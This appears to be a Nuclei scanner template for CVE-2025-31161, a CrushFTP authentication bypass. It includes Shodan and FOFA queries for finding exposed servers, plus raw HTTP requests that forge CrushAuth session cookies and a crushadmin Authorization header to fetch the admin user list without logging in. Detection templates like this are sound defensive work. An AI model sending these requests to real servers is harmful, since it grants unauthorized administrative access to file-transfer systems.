CrushFTP - Authentication Bypass

id: CVE-2025-31161

info:
  name: CrushFTP - Authentication Bypass
  author: parthmalhotra,Ice3man,DhiyaneshDk,pdresearch,whattheslime
  severity: critical
  description: |
    CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.
  impact: |
    Unauthenticated attackers can bypass authentication by forging session cookies, gaining unauthorized administrative access to CrushFTP and potentially compromising the entire file transfer infrastructure.
  remediation: |
    Upgrade to CrushFTP version 10.8.4 or 11.3.1 or later that properly validates session authentication.
  reference:
    - https://projectdiscovery.io/blog/crushftp-authentication-bypass/
    - https://www.rapid7.com/blog/post/2025/03/25/etr-notable-vulnerabilities-in-next-js-cve-2025-29927/
    - https://www.crushftp.com/crush11wiki/Wiki.jsp?page=Update
    - https://nvd.nist.gov/vuln/detail/CVE-2025-31161
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-31161
    cwe-id: CWE-287
    epss-score: 0.99947
    epss-percentile: 0.99972
  metadata:
    max-request: 2
    vendor: crushftp
    product: crushftp
    shodan-query:
      - http.title:"CrushFTP WebInterface"
      - http.favicon.hash:-1022206565
      - http.html:"crushftp"
    fofa-query:
      - icon_hash="-1022206565"
      - title="CrushFTP WebInterface"
      - body="crushftp"
  tags: cve,cve2025,crushftp,unauth,auth-bypass,rce,kev,vkev,vuln

variables:
  string_1: "{{rand_text_numeric(13)}}"
  string_2: "{{rand_text_alpha(28)}}"
  string_3: "{{rand_text_numeric(4)}}"

http:
  - raw:
      - |
        GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
        Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
        Host: {{Hostname}}
        Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

      - |
        GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
        Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
        Host: {{Hostname}}
        Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<user_list_subitem>crushadmin</user_list_subitem>"

      - type: word
        part: content_type
        words:
          - "text/xml"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a8404b328bb28414bf74a29f9d1f83af4b0fbfc1cdab68ec2b994da43dae2b6b02201ed4a1c2e13ee4eefc901b80453c25ce3a161a9ebfb82b1afe9d7de6df3cba18:922c64590222798bb761d5b6d8e72950